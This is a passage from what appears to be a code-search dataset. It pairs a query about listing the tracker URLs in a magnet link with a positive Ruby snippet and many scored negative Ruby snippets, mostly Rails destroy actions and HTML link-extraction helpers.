"04decbba8205bbee496d81b610c225d9", "score": "0.58678895", "text": "def destroy\n @inventory_unit_of_measurements = user_default_branch.inventory_unit_of_measurements.find(params[:id])\n @inventory_unit_of_measurements.destroy\n\n respond_to do |format|\n format.html { redirect_to(inventory_unit_of_measurements_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "b2476c583f9a7612bc6b1fb2ae4dc2a1", "score": "0.5866912", "text": "def destroy\n @speciman = Speciman.find(params[:id])\n @speciman.destroy\n\n respond_to do |format|\n format.html { redirect_to(specimen_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "b3e59a271e4d1d27f84b8e6abf8fd902", "score": "0.5854873", "text": "def destroy\n @markup.destroy\n respond_to do |format|\n format.mobile { redirect_to markups_url }\n format.html { redirect_to markups_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "49b1b48f8497506da88cfaa43c12466a", "score": "0.58535886", "text": "def destroy\n @prestamo_instrumento = PrestamoInstrumento.find(params[:id])\n @prestamo_instrumento.destroy\n\n respond_to do |format|\n format.html { redirect_to prestamo_instrumentos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b35b579c983dbacbd36b75097a34e267", "score": "0.58515614", "text": "def delete\n asset.destroy\n\n OK\n end", "title": "" }, { "docid": "9214fc42c6353aba54e17fc2c36aa926", "score": "0.5851365", "text": "def destroy\n @downfile = Downfile.find(params[:id])\n @downfile.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_downfiles_path) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "97e13170f7ba748e5aa81fb8c4135f89", "score": "0.58490384", "text": "def delete\n @connection.delete_file(@path)\n end", "title": "" }, { "docid": "36135e941c817821d8a929bd241fbe6b", "score": "0.58460695", "text": "def del(a)\n File.delete(\"#{RAILS_ROOT}/#{a}\")\n redirect_to(:controller => 'MembroReport', :action => 'index')\n end", "title": "" } ]
f28bfbeaa5c731282ae489644165b117
Return an array of all tracker URLS in the magnet link.
[ { "docid": "04f36446e3d9ac3a302cae7d84d58852", "score": "0.0", "text": "def trackers\n tr = @params['tr']\n if tr\n tr\n else\n []\n end\n end", "title": "" } ]
[ { "docid": "427894d4910157128b0112d55d75a75d", "score": "0.65386015", "text": "def links\n links = []\n result = self.perform\n links = result.ft_links\n end", "title": "" }, { "docid": "3507ebe13ee391e5ee8d1e5c48d243d8", "score": "0.64034605", "text": "def links\n\t self.tweets.collect{|t| t.links}.flatten.compact\n\tend", "title": "" }, { "docid": "b9cb241530a89235ccacf8b9e350afa0", "score": "0.63739425", "text": "def links()\n return @links\n end", "title": "" }, { "docid": "05d2ce9ae6e48058f4d3e27e0997c731", "score": "0.6236733", "text": "def links\n self[\"link\"].map { |l| l.href }\n end", "title": "" }, { "docid": "05d2ce9ae6e48058f4d3e27e0997c731", "score": "0.6236733", "text": "def links\n self[\"link\"].map { |l| l.href }\n end", "title": "" }, { "docid": "4ca8c579148a075fa92c7fd6131e4beb", "score": "0.6230427", "text": "def links\n @links.values\n end", "title": "" }, { "docid": "f8582f4e6ef84fcc05758882be64ada9", "score": "0.6181749", "text": "def links()\n links = Nokogiri::HTML(RedCloth.new(self.body).to_html).css(\"a\").map do |link|\n if (href = link.attr(\"href\")) && href.match(/^https?:/)\n href\n end\n end.compact\n uris = []\n links.each do |link|\n puts link\n uris.push(URI.parse(link))\n end\n return uris\n end", "title": "" }, { "docid": "5f7ca6e31c66a99afcb58655df87db0c", "score": "0.61311287", "text": "def links\n @links ||= []\n @links\n end", "title": "" }, { "docid": "3ead0ca39f0301b19530fd4a339d3d5e", "score": "0.6127688", "text": "def links\n @links ||= parsed_links.map{ |l| URL.absolutify(URL.unrelativize(l, scheme), base_url) }.compact.uniq\n end", "title": "" }, { "docid": "a8a202151bf61c648a930ff3778a78d0", "score": "0.61125296", "text": "def links\n @links ||= parsed_links.map{ |l| absolutify_url(unrelativize_url(l)) }.compact.uniq\n end", "title": "" }, { "docid": "c0502d1a4e862084a4d255556ee5e632", "score": "0.6103409", "text": "def click_tracking_urls\n source_node.xpath('.//ClickTracking').to_a.collect do |node|\n URI.parse node.content.strip\n end\n end", "title": "" }, { "docid": "bf6529de1909cc8c512b317a183f94f5", "score": "0.6037988", "text": "def get_google_links\n linkarray = []\n @links = @links.each do |link|\n if (link.scan(\"http://\").length == 2)\n linkarray.push(link)\n end\n end\n return linkarray\n end", "title": "" }, { "docid": "584f5d34d545f109f9677c416e9f6d0d", "score": "0.60342586", "text": "def links\n data['links']\n end", "title": "" }, { "docid": "9f6ae752e286bd34f7cf1ca3c88ef9c4", "score": "0.60128134", "text": "def links\n return @links\n end", "title": "" }, { "docid": "9f6ae752e286bd34f7cf1ca3c88ef9c4", "score": "0.60128134", "text": "def links\n return @links\n end", "title": "" }, { "docid": "9f6ae752e286bd34f7cf1ca3c88ef9c4", "score": "0.60128134", "text": "def links\n return @links\n end", "title": "" }, { "docid": "a16c4cd61d8776afdcfb8c9196fbdaa9", "score": "0.59667903", "text": "def links\n metadata[:links] || Set.new\n end", "title": "" }, { "docid": "85a28f4c96e5c82d0a90543a54fee895", "score": "0.5946584", "text": "def links\n response = Clever.request :get, url\n response[:links]\n end", "title": "" }, { "docid": "2ff59b3b340f38d146ca50556b811f46", "score": "0.5942412", "text": "def all_backlinks\n\t\t@data = UrlData.all\n\n\t\t@backlinks = Array.new\n\t\t@data.each do |details|\n\t\t\t@backlinks.push details.google_backlinks\n\t\t\t@backlinks.push details.moz_backlinks\n\t\tend\n\n\t\t@backlinks = @backlinks.compact.reject { |s| s.blank? }\n\n\t\t@backlinks = @backlinks.inject(:+)\n\t\treturn @backlinks\n\tend", "title": "" }, { "docid": "ca21908085606986eee3c43a383ef32a", "score": "0.592635", "text": "def relevant_links\n ['libproxy.mit.edu', 'library.mit.edu', 'sfx.mit.edu', 'owens.mit.edu',\n 'libraries.mit.edu', 'content.ebscohost.com']\n end", "title": "" }, { "docid": "8c195367e09c3b3f51db51d113e0f916", "score": "0.59135246", "text": "def links\n @data[\"_links\"]\n end", "title": "" }, { "docid": "3e228b001a4303553e2ff58ed8309254", "score": "0.5857951", "text": "def links\n return @links if @links\n return false unless @source\n @links = @source.scan(HREF_CONTENTS_RE).map do |match|\n # filter some malformed URLS that come in\n # meant to be a loose filter to catch all reasonable HREF attributes.\n link = match[0]\n Link.new(@t.scheme, @t.host, link).path\n end.uniq\n end", "title": "" }, { "docid": "3a8a4d5b68fc2674d415d8ec010ae9f6", "score": "0.584407", "text": "def get_queued_links()\n\t\thydra.queued_requests.map do |req|\n\t\t\treq.url\n\t\tend\n\tend", "title": "" }, { "docid": "bccb52429b4a3baa4ee848d953cfb27b", "score": "0.5838968", "text": "def all\n @all ||= raw.map { |link| URL.absolutify(link, base_url) }.compact.uniq\n end", "title": "" }, { "docid": "9ab82daec6f610923966ebc5dea75d7f", "score": "0.57816875", "text": "def links\n @data.links ||= parsed_document.search(\"//a\") \\\n .map {|link| link.attributes[\"href\"] \\\n .to_s.strip}.uniq rescue nil\n end", "title": "" }, { "docid": "8b334647cfa5f24e6f46525085de82dd", "score": "0.5773004", "text": "def unknown_urls\n\t\tr = Array.new\n\t\tself.latest( @conf.latest_limit ) do |diary|\n\t\t\trefs = DispRef2Refs.new( diary, @setup )\n\t\t\th = refs.urls( DispRef2URL::Antenna )\n\t\t\th.each_key do |url|\n\t\t\t\tnext unless @setup['normal-unknown.title.regexp'] =~ h[url][2]\n\t\t\t\tnext if DispRef2String::url_match?( url, @setup.no_referer )\n\t\t\t\tnext if DispRef2String::url_match?( url, @setup['reflist.ignore_urls'] )\n\t\t\t\tr << url\n\t\t\tend\n\t\t\th = nil\n\t\t\trefs.urls( DispRef2URL::Unknown ).each_key do |url|\n\t\t\t\tnext if DispRef2String::url_match?( url, @setup.no_referer )\n\t\t\t\tnext if DispRef2String::url_match?( url, @setup['reflist.ignore_urls'] )\n\t\t\t\tr << url\n\t\t\tend\n\t\tend\n\t\tr.uniq\n\tend", "title": "" }, { "docid": "8a8b54e1600a4dfd79bf482801ac2bbc", "score": "0.57654375", "text": "def linked_giveaway_ids\n @linked_urls.select { |u| u.host == \"www.steamgifts.com\" and u.path.start_with?('/giveaway/') }.map { |u| self.class.id_from_uri(u) }\n end", "title": "" }, { "docid": "09150ca60c8e0b1c6b43d9ae93f85af5", "score": "0.5734868", "text": "def extract_links\n content.css('a').map { |a| a['href'] unless a['href'] == '#' }.compact.uniq\n end", "title": "" }, { "docid": "96a92adb1444fdba3ea307df21e08a21", "score": "0.57063943", "text": "def get_raw_links\n @doc.xpath(LINKS_XPATH).map { |link| link['href'] }\n end", "title": "" }, { "docid": "13edec54abcd696730aa420f4f24e0aa", "score": "0.57027537", "text": "def links\n @source._links\n end", "title": "" }, { "docid": "56bcdcd686fceef8a4b3d7a2e395b32f", "score": "0.5693863", "text": "def lists\n @links = Link.all\n @short_link = ActionMailer::Base.default_url_options[:host]\n end", "title": "" }, { "docid": "c9c42c86e594fdb9559698b229bd89e4", "score": "0.56746185", "text": "def all_clicked_links\n all_clicks.collect{|c| c['url'] }.uniq\n end", "title": "" }, { "docid": "a5b058499a2888f80df1b3974a29f0e6", "score": "0.5673639", "text": "def links\n return @links unless @links.nil?\n @links = []\n return @links if !doc\n\n doc.search(\"//a[@href]\").each do |a|\n next if a['data-method'] && a['data-method'] != 'get'\n u = a['href']\n next if u.nil? or u.empty?\n abs = to_absolute(u) rescue next\n @links << abs if in_domain?(abs)\n end\n @links.uniq!\n @links\n end", "title": "" }, { "docid": "d2afac281a5d85a01edc7ac1b8e3c862", "score": "0.5649593", "text": "def links\n @doc.css('a[href]').map do |a|\n parse_element_attribute_uri(a, 'href')\n end.compact.uniq\n end", "title": "" }, { "docid": "a7d1bd56a8b2ab493d89b59b94e32265", "score": "0.5645368", "text": "def external_links\n return [] if @links.empty?\n\n links = @links\n .reject { |link| link.relative_link?(host: @url.to_base) }\n .map(&:without_trailing_slash)\n\n Wgit::Utils.process_arr(links)\n end", "title": "" }, { "docid": "6ce46524322b2d0d76af4e930fb51600", "score": "0.5623369", "text": "def get_tracks_list\n return map { |iter| iter[TTV_XLINK] }\n end", "title": "" }, { "docid": "8f1f8617ba971cac28731c571b4fa1a4", "score": "0.5587098", "text": "def links\n linked_to.map{|to|[self,to]}\n end", "title": "" }, { "docid": "b479dd1e20cd64d3bd58b53792eda9fc", "score": "0.5581152", "text": "def sitemap_links\n each_sitemap_link.to_a\n end", "title": "" }, { "docid": "4da90c9caa384ba2f4c0ea77769cee58", "score": "0.5565966", "text": "def urls\n info.map(&:value).select { |u| u.match %r{\\Ahttps?://} }\n end", "title": "" }, { "docid": "cf161f2e1d55849d88505cb882b167b5", "score": "0.5564147", "text": "def get_compatible_sites\n ret = []\n @sites.each do |site|\n ret << site[:link]\n end\n ret\n end", "title": "" }, { "docid": "d8366f3fce79d471be73033429b6e1ed", "score": "0.5549893", "text": "def mirror_urls\n Array(self.get_with_key('/mirrors.xml')['Mirrors']['Mirror']['mirrorpath'])\n end", "title": "" }, { "docid": "32fd43153f75204d288af781a7f95782", "score": "0.55345154", "text": "def links\n each_link.to_set\n end", "title": "" }, { "docid": "e77bba558e60ddfb631129b9c951b36d", "score": "0.5519942", "text": "def get_gist_hrefs user\n gists = get_gists_for_user(user)\n return gists.collect {|g| g.rels[:self].href }\n end", "title": "" }, { "docid": "e3c3425418f5bf8d50f24f776bab404b", "score": "0.550765", "text": "def links; end", "title": "" }, { "docid": "e3c3425418f5bf8d50f24f776bab404b", "score": "0.550765", "text": "def links; end", "title": "" }, { "docid": "0859e15c126888b49f24d545782edc39", "score": "0.550672", "text": "def links\n\t\t@links.keys\n\tend", "title": "" }, { "docid": "fd31c7b1162ed03aa4fad87a49ce814f", "score": "0.54865515", "text": "def twitter_url\n\t\ttwitter = []\n\t\ttext = html.search(\"a\").text.split(\" \")\n\t\ttext.each do |element|\n\t\t\tif element.to_s.match(/@/)\n\t\t\t\ttwitter << element\n\t\t\tend\n\t\tend\n\t\t\treturn twitter\n\tend", "title": "" }, { "docid": "c8b6e2f60993cb2ecb53f313e782fd34", "score": "0.54764104", "text": "def post_urls\n arr_hrefs = []\n collect_post_elements.each do |element|\n # there should only be one headline link per post\n if link = element.search( headline_element ).first \n uri = URI.parse link['href']\n uri.fragment = nil\n arr_hrefs << uri.to_s \n end\n end\n\n return arr_hrefs\n end", "title": "" }, { "docid": "3e77185cd616951cfa654e5933f17562", "score": "0.54592144", "text": "def links\n return @links if (defined?(@links) && !@links.nil?)\n @links = Nokogiri::HTML.parse(@html).css('a')\n @links = @links.map {|link| link.attribute('href').to_s}\n @links = @links.delete_if{ |link| (link.nil? || link.to_s == '') }\n\n # remove non-HTTP links\n @links = @links.delete_if{|x| x if !x.match(\"http\")}\n\n # handle HTTP redirect links\n # i.e. 'http://www.google.com/?=http://www.cats.com'\n @links = @links.map{|x| \"http\" + x.split(\"http\").last}.compact\n\n # Remove URL params from links\n @links = @links.map{|x| x.split(/\\?|\\&/).first}.compact\n\n # Sanitize links\n @links = @links.map{|x| URI.decode(x).downcase.strip}.compact\n\n # Remove link proxies(i.e. from Google) & decode URI again\n if url.match(/google\\.com/i)\n @links = @links.map{|x| x.split(\"%2b\").first}.compact\n @links = @links.map{|x| URI.decode(x).downcase.strip}.compact\n end\n\n return @links.uniq\n end", "title": "" }, { "docid": "00d2632590016cb710aac068a5586ce2", "score": "0.5458892", "text": "def rss_links \n\t\tdoc.xpath(\"//link[@type=\\\"application/rss+xml\\\"]\").map do |link|\n\t\t\tif link['href'] =~ /^http:\\/\\//\n\t\t\t\tlink['href']\n\t\t\telse\n\t\t\t\t\"#{@url}#{link['href']}\"\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "933701661bf90d0d9bc420127efb7f53", "score": "0.5449421", "text": "def sitemap_urls\n each_sitemap_url.to_a\n end", "title": "" }, { "docid": "6efbf753a7f9e764e6e63562e0515146", "score": "0.54347616", "text": "def links\n @links ||= %w{ a area }.map do |tag|\n search(tag).map do |node|\n Link.new(node, @mech, self)\n end\n end.flatten\n end", "title": "" }, { "docid": "6efbf753a7f9e764e6e63562e0515146", "score": "0.54347616", "text": "def links\n @links ||= %w{ a area }.map do |tag|\n search(tag).map do |node|\n Link.new(node, @mech, self)\n end\n end.flatten\n end", "title": "" }, { "docid": "fd9de5ef431507a400e9a982f2d713c0", "score": "0.54320383", "text": "def prune_links\n links = []\n result = self.perform\n ft_links = result.ft_links\n ft_links.each do |ft_link|\n http = Curl.get(ft_link)\n doc = Nokogiri::HTML(http.body_str)\n link = doc.xpath('//*[@id=\"copy_paste_links\"]').children.first.to_s.chomp\n links.push link if link.empty? == false\n end\n links\n end", "title": "" }, { "docid": "83de69cb42ac3c9c23d20785b387402f", "score": "0.5431752", "text": "def links\n @links ||= begin\n if doc\n # get a list of distinct links on the page, in absolute url form\n links = doc.css('a[href]').inject([]) do |list, link|\n href = link.attributes['href'].content\n href.strip! if href\n \n unless skip_link?(href)\n begin\n url = to_absolute(href)\n rescue URI::InvalidURIError\n $stderr.puts \"ERROR: bad URI #{href.inspect} on page #{self.url.to_s.inspect}\"\n else\n list << url if url.scheme =~ /^https?$/\n end\n end\n list\n end\n \n links.uniq!\n links\n else\n []\n end\n end\n end", "title": "" }, { "docid": "140090db22e1cc18aa952a7f2c17c683", "score": "0.5431079", "text": "def hubs\n link('hub').map { |link| link.href }\n end", "title": "" }, { "docid": "6abef3e8d1e1d47593333bacfdc58108", "score": "0.5428676", "text": "def links\n return nil unless @item and self.type == :query and @item['entry']['link']\n @item['entry']['link']\n end", "title": "" }, { "docid": "a06cb09d542f149b0cf703a1428735a7", "score": "0.54112536", "text": "def meta_links\n @meta_links ||= @internal_struct[:meta_links]\n end", "title": "" }, { "docid": "04aa180370d02220af2d0adaf24d0a67", "score": "0.54108065", "text": "def all_urls_external\n ngurls = NG_URL.all(:a_hrefs_external => { :$not => { :$size => 0}})\n urls_external = []\n ngurls.each {|n| urls_external += n.a_hrefs_external }\n urls_external.uniq!.sort!\n end", "title": "" }, { "docid": "10884e0941c9c6c173b35b65820421bc", "score": "0.540138", "text": "def attachment_links()\n @attachment_links ||= AttachmentLink.where(\"master_id = ? AND master_type = ?\", id, class_name).limit(attachments_count)\n end", "title": "" }, { "docid": "6a518cecdbec38bca3ac57f5e08bf89d", "score": "0.53863674", "text": "def links\n @links ||=\n if defined? unitID\n Rentlinx.client.get_links_for_unit(self)\n else\n Rentlinx.client.get_links_for_property_id(propertyID)\n end\n end", "title": "" }, { "docid": "95ccce327fbd1033a099a3cdd795511e", "score": "0.5383616", "text": "def all_links\n Link.all\n end", "title": "" }, { "docid": "95ccce327fbd1033a099a3cdd795511e", "score": "0.5383616", "text": "def all_links\n Link.all\n end", "title": "" }, { "docid": "95ccce327fbd1033a099a3cdd795511e", "score": "0.5383616", "text": "def all_links\n Link.all\n end", "title": "" }, { "docid": "09266ff4aa5cf2b2331104ea6a1efeef", "score": "0.53827906", "text": "def convert_track_page_to_mp3_links(url)\n doc = Nokogiri.parse( open(url, \"rb\", 'User-Agent' => @user_agent).read )\n li_mirrors = doc.css(\"#panel-download > div:nth-child(1) > ul:nth-child(4) > li\")\n download_links = li_mirrors.collect {|li| li.css(\"a\").first[\"href\"] }\n end", "title": "" }, { "docid": "e7e11a94ddaf341645b98101d8b385e9", "score": "0.5382564", "text": "def bok_links\n [\n { :url => 'http://www.noagendashow.com/', :name => 'NoAgendaShow.com'},\n { :url => 'http://noagendachat.net/', :name => 'NoAgenda Chat'},\n { :url => 'http://www.noagendasoundboard.com/', :name => 'NoAgenda Soundboard'},\n { :url => 'http://noagendastream.com/', :name => 'NoAgenda Stream'},\n { :url => 'http://en.wikipedia.org/wiki/No_Agenda', :name => 'wikipedia'}\n ]\n end", "title": "" }, { "docid": "1708fe2454359bf7d5b07deaaa2ffa19", "score": "0.5380744", "text": "def get_mag_index_pages(mag_url)\n links = []\n doc = Nokogiri::HTML(open(mag_url, :allow_redirections => :safe)) \n doc.css(\"a[href]\").each do |p|\n if p.attribute('href').to_s.include? \"#issues\"\n links.push(p.attribute('href').to_s)\n end\n end\n # the link of the actual url is not in the array. it needs to be,\n # since this is the first page that index issues.\n links.push(mag_url)\n return links.uniq\nend", "title": "" }, { "docid": "23f8e39657644078a8c6377ea35f2554", "score": "0.53759086", "text": "def links\n @mandate_links ||= Links.new(@links)\n end", "title": "" }, { "docid": "5bf986960ee2dc5d749853c30d05ede8", "score": "0.5374934", "text": "def urls\n @urls ||= all_urls(sitemap)\n end", "title": "" }, { "docid": "7da78b0abddfb3208377a3fbefb26887", "score": "0.5372419", "text": "def links\n nodes = @node.xpath(\"atom:link\", ::AtomFeed::NS) || []\n nodes.map { |node| AtomLink.new(node) }\n end", "title": "" }, { "docid": "4b527882ad10cf6a2842e2e05fca4561", "score": "0.53693366", "text": "def links\n\t\t( 0...self.link_count ).collect do |i|\n\t\t\tself.link( i )\n\t\tend\n\tend", "title": "" }, { "docid": "1a061ffdc0d1280760da2aa273085547", "score": "0.5365834", "text": "def links\n param = {lat: lat.to_f, lng: lng.to_f, latlng: latlng}\n Hashie::Mash.new(EXTERNAL_LINKS.map{|key, pattern| [key, pattern % param]}.to_h)\n end", "title": "" }, { "docid": "5858bdef95c36c72249576ab1920b0f9", "score": "0.53641874", "text": "def prepare_all_links(target)\n # here we get all replies to author of target message (7 days is the limit)\n all_links = Array.new\n # sometimes fails on twitter side, need to figure out why\n #req = \"http://search.twitter.com/search.atom?q=to:\" + target[:name] + \"&rpp=1000&since_id=\" + target[:sid]\n req = \"http://search.twitter.com/search.atom?q=to:\" + target[:name]\n begin\n open(req) do |f|\n f.each_line do |line|\n \t status_mention_matches = (/<link type=\"text\\/html\" rel=\"alternate\" href=\"(.*?)\"/).match(line)\n \t status_mention_link = status_mention_matches[1] unless status_mention_matches == nil\n \t unless status_mention_link == nil || (/^http:\\/\\/search.twitter.com/).match(status_mention_link) != nil\n \t all_links.push status_mention_link \n \t end\n \tend\n end\n rescue\n print \"Error while working with: \" + req + \"\\n\"\n all_links = nil\n end \n all_links\nend", "title": "" }, { "docid": "b86936554e2ed3c8a66833e1f23f6425", "score": "0.53592163", "text": "def dedouche_links\n [\n { :url => 'http://dvorak.org/na', :name => 'Blankets'},\n { :url => 'http://dvorak.org/na', :name => 'Water'},\n { :url => 'http://dvorak.org/na', :name => 'Just Send Cash'}\n ]\n end", "title": "" }, { "docid": "862a143a05624a1b724d837fab4fa647", "score": "0.53567904", "text": "def links\n return unless success? and body\n\n doc = Nokogiri::HTML(@body)\n \n links = []\n\n doc.css('div.list-lbc a').each do |a|\n link = {\n :url => a['href'],\n :title => a.css('div.title').first.content.strip\n }\n\n link[:ad_id] = link[:url][/^http:\\/\\/www.leboncoin.fr\\/locations\\/(\\d+).*/,1]\n links << link\n yield link if block_given?\n end\n\n links\n end", "title": "" }, { "docid": "b6a4b9d25c13407276f88f01014ca483", "score": "0.5351451", "text": "def absolute_links\n @data.absolute_links ||= links.map { |l| absolutify_url(unrelativize_url(l)) }\n end", "title": "" }, { "docid": "a2ccc31b7e306406a248e8ea7781d7b3", "score": "0.53466773", "text": "def return_links_array(doc)\n links = doc.css(\".search-content .teaser-item__title a\")\n recipe_links = []\n links.each do |element|\n recipe_links << \"https://www.bbcgoodfood.com\" + element.attribute('href').value\n end\n return recipe_links\n end", "title": "" }, { "docid": "5f4df7ce296ce42166d967329166ca93", "score": "0.53360134", "text": "def get_all_the_urls_of_val_doise_townhalls\n mairie_val_d_oise = Array.new\n page = Nokogiri::HTML(open(\"http://annuaire-des-mairies.com/val-d-oise.html\"))\n links = page.css('a.lientxt')\n links.each do |mairie|\n mairie_val_d_oise << mairie['href']\n end\n return mairie_val_d_oise\nend", "title": "" }, { "docid": "7405ded4a541c8d1859936fc592c9bc2", "score": "0.5333097", "text": "def linked\n ret = []\n self.links.inject(ret){|arr , link| arr << link.target}\n self.incomming_links.inject(ret){|arr , link| arr << link.source}\n ret\n end", "title": "" }, { "docid": "cf1cba97b43b05c07e6712776004f70c", "score": "0.53326154", "text": "def get_all_urls\r\n val_d_oise = \"http://annuaire-des-mairies.com/val-d-oise.html\"\r\n page = Nokogiri::HTML(URI.open(val_d_oise))\r\n links = page.xpath('//*[@class=\"lientxt\"]').map{|anchor| anchor[\"href\"]}\r\n return links\r\nend", "title": "" }, { "docid": "c3b3bdb2ca7c8d5af2cb5ed2cc6753df", "score": "0.53301066", "text": "def get_anchor_urls\n result = []\n\n @anchor.getLocations().each do |each|\n result << AnchorUrl.new(\n :url => each.getDownloadURL(),\n :anchor_url_certs => get_certs(each))\n end\n\n return result\n end", "title": "" }, { "docid": "75aae3ead361cc0d601260b7eeec4757", "score": "0.5326182", "text": "def get_buylinks( params )\n xml = LastFM.get( \"track.getBuylinks\", params )\n [:physical, :download].each_with_object([]) do |type, buylinks|\n xml.find(\"affiliations/#{type}s/affiliation\").each do |buylink|\n buylinks << LastFM::Buylink.from_xml( buylink, :type => type )\n end\n end\n end", "title": "" }, { "docid": "f3caaf8f3dc76c83be31f7aabafea539", "score": "0.5325241", "text": "def internal_full_links\n links = internal_links\n return [] if links.empty?\n\n links.map { |link| base_url(link: link).concat(link) }\n end", "title": "" }, { "docid": "a441238542ca95e8760bbd14fcf4f1f3", "score": "0.5314412", "text": "def find_links(url)\n # This should return an array of all links at the given URL\nend", "title": "" }, { "docid": "43cdbc6a13b331c99be87a40be80bf1e", "score": "0.5314212", "text": "def all_links(options = {}) \n options[:valid_schemes] = [:http, :https] unless options.has_key? :valid_schemes\n data = link_data\n links = data.keys.map{|key| data[key]}.flatten.uniq\n links = links.map{|link| UriHelper.join_no_fragment(@url, link).to_s }\n links = links.reject{|link| link =~ /\\/([^\\/]+?)\\/\\1\\// }\n links = links.reject{|link| link =~ /([^\\/]+?)\\/([^\\/]+?)\\/.*?\\1\\/\\2/ } \n links = links.select{|link| options[:valid_schemes].include? link.split(':')[0].to_sym}\n links\n end", "title": "" }, { "docid": "3505818f17dbeb4d2d423d9f06e50127", "score": "0.5306858", "text": "def hub_site_urls\n return @hub_site_urls\n end", "title": "" }, { "docid": "ceec653f90d264f94aba1a97f5fa55f2", "score": "0.53061", "text": "def extract_all_links(html, base)\n base_url = URI.parse(base)\n doc = Nokogiri::HTML(html)\n links = []\n doc.css(\"a\").each do |node|\n \n begin\n uri = URI(node['href'])\n if uri.absolute? and uri.scheme != \"javascript\" \n links << uri.to_s\n elsif uri.path.start_with?(\"/\")\n uri = base_url + uri\n end\n rescue\n # don't do anything\n end\n end \n links.uniq\n end", "title": "" }, { "docid": "44db993d151c913a63f0d1d536c485d2", "score": "0.5305167", "text": "def external_links\n @external_links ||= links.select {|link| host_from_url(link) != host }\n end", "title": "" }, { "docid": "58679cac4799d2d1964004d1f6e247be", "score": "0.5295378", "text": "def urls\n @@urls\n end", "title": "" }, { "docid": "abca026832f390a5fa8b7258010413c6", "score": "0.52951276", "text": "def read_links()\n\t\tlinks = linkr.read_array()\n\t\t###binding.pry\n\t\t#@initial_queue = links\n\t\t###binding.pry\n\t\tlinks\n\n\tend", "title": "" }, { "docid": "cc6b43e763fbce1f8a8329a580c17ab0", "score": "0.52906185", "text": "def external_links\n @external_links ||= links.select {|link| URL.new(link).host != host }\n end", "title": "" }, { "docid": "3ea2cb958afb0e9c9c1a772427886b28", "score": "0.52753365", "text": "def track_download\n connection.get(links.download_location)[\"url\"]\n end", "title": "" }, { "docid": "1da071145ee537237791cd21700e4114", "score": "0.526521", "text": "def get_links_info(external_links)\n\n\t\tmechanize_agent2 = Mechanize.new()\n\t\tarr = []\n\n\t\texternal_links.each do |link|\n\n\n\t\t\tpage = mechanize_agent2.get link\n\n\n\n\t\t\t#*******************************\n\t\t\t# Espero que me regresen:\n\t\t\t# => \"titulo\" clase=> Nokogiri::Node EJEMPLO: \"page.search(\"//h1[@id='titleNote']\").first\"\n\t\t\t# => \"text\" clase=> Nokogiri::Node EJEMPLO: \"page.search(\"//div[@class='noteText']\").first\"\n\t\t\t#*******************************\n\n\n\n\t\t\tputs correct_link(link)\n\t\t\tputs correct_title(titulo)\n\n\t\t\tnotice = Notice.new(correct_link(link),correct_title(titulo),correct_text(texto),busqueda)\n\t\t\t\n\t\t\tarr << notice.to_hash\n\n\n\t\tend\n\n\t\treturn arr.to_json\n\n\tend", "title": "" }, { "docid": "4a985439abb7b4fd5979ca05034f4c51", "score": "0.52593565", "text": "def internal_links\n return [] if @links.empty?\n\n links = @links\n .select { |link| link.is_relative?(host: @url.to_base) }\n .map(&:without_base)\n .map do |link| # We map @url.to_host into / because it's a duplicate.\n link.to_host == @url.to_host ? Wgit::Url.new('/') : link\n end\n\n Wgit::Utils.process_arr(links)\n end", "title": "" }, { "docid": "f362de22dee54039b8d3b143304cbd0d", "score": "0.52518004", "text": "def get_uri_hosts(tweet)\n list = []\n #tweet.uris.each { |uri| list << uri.expanded_uri.host.downcase } if tweet.uris?\n\n # Remove subdomains (e.g.: www.example.org => example.org)\n regex = '[[:word:]]{1,}\\.[[:word:]]{1,}\\z'\n tweet.uris.each do |uri|\n m = /#{regex}/.match(uri.expanded_uri.host.downcase)\n list << m[0]\n end\n\n list\n end", "title": "" }, { "docid": "620a3b52152a9eb865ca6033f9a3ea46", "score": "0.5245683", "text": "def links\n if @links.blank?\n @links = []\n link_nodes =\n FeedTools::XmlHelper.combine_xpaths_all(self.channel_node, [\n \"atom10:link\",\n \"atom03:link\",\n \"atom:link\",\n \"link\",\n \"channelLink\",\n \"a\",\n \"url\",\n \"href\"\n ])\n for link_node in link_nodes\n link_object = FeedTools::Link.new\n link_object.href = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@atom10:href\",\n \"@atom03:href\",\n \"@atom:href\",\n \"@href\",\n \"text()\"\n ], :select_result_value => true)\n if link_object.href == \"atom10:\" ||\n link_object.href == \"atom03:\" ||\n link_object.href == \"atom:\"\n link_object.href = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@href\"\n ], :select_result_value => true)\n end\n if link_object.href.nil? && link_node.base_uri != nil\n link_object.href = \"\"\n end\n begin\n if !(link_object.href =~ /^file:/) &&\n !FeedTools::UriHelper.is_uri?(link_object.href)\n link_object.href = FeedTools::UriHelper.resolve_relative_uri(\n link_object.href,\n [link_node.base_uri, self.base_uri])\n end\n rescue\n end\n if self.configurations[:url_normalization_enabled]\n link_object.href =\n FeedTools::UriHelper.normalize_url(link_object.href)\n end\n link_object.href.strip! unless link_object.href.nil?\n next if link_object.href.blank?\n link_object.hreflang = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@atom10:hreflang\",\n \"@atom03:hreflang\",\n \"@atom:hreflang\",\n \"@hreflang\"\n ], :select_result_value => true)\n if link_object.hreflang == \"atom10:\" ||\n link_object.hreflang == \"atom03:\" ||\n link_object.hreflang == \"atom:\"\n link_object.hreflang = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@hreflang\"\n ], :select_result_value => true)\n end\n unless link_object.hreflang.nil?\n link_object.hreflang = link_object.hreflang.downcase\n end\n link_object.rel = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@atom10:rel\",\n \"@atom03:rel\",\n \"@atom:rel\",\n \"@rel\"\n ], :select_result_value => true)\n if link_object.rel == \"atom10:\" ||\n link_object.rel == \"atom03:\" ||\n link_object.rel == \"atom:\"\n link_object.rel = FeedTools::XmlHelper.try_xpaths(link_node, [\n \"@rel\"\n ], :select_result_value => true)\n end\n unless link_object.rel.nil?\n link_object.rel = link_object.rel.downcase\n end\n if link_object.rel.nil? && self.feed_type == \"atom\"\n link_object.rel = \"alternate\"\n end\n link_object.type = FeedTools::XmlHelper.try_xpaths(link_node, [\n 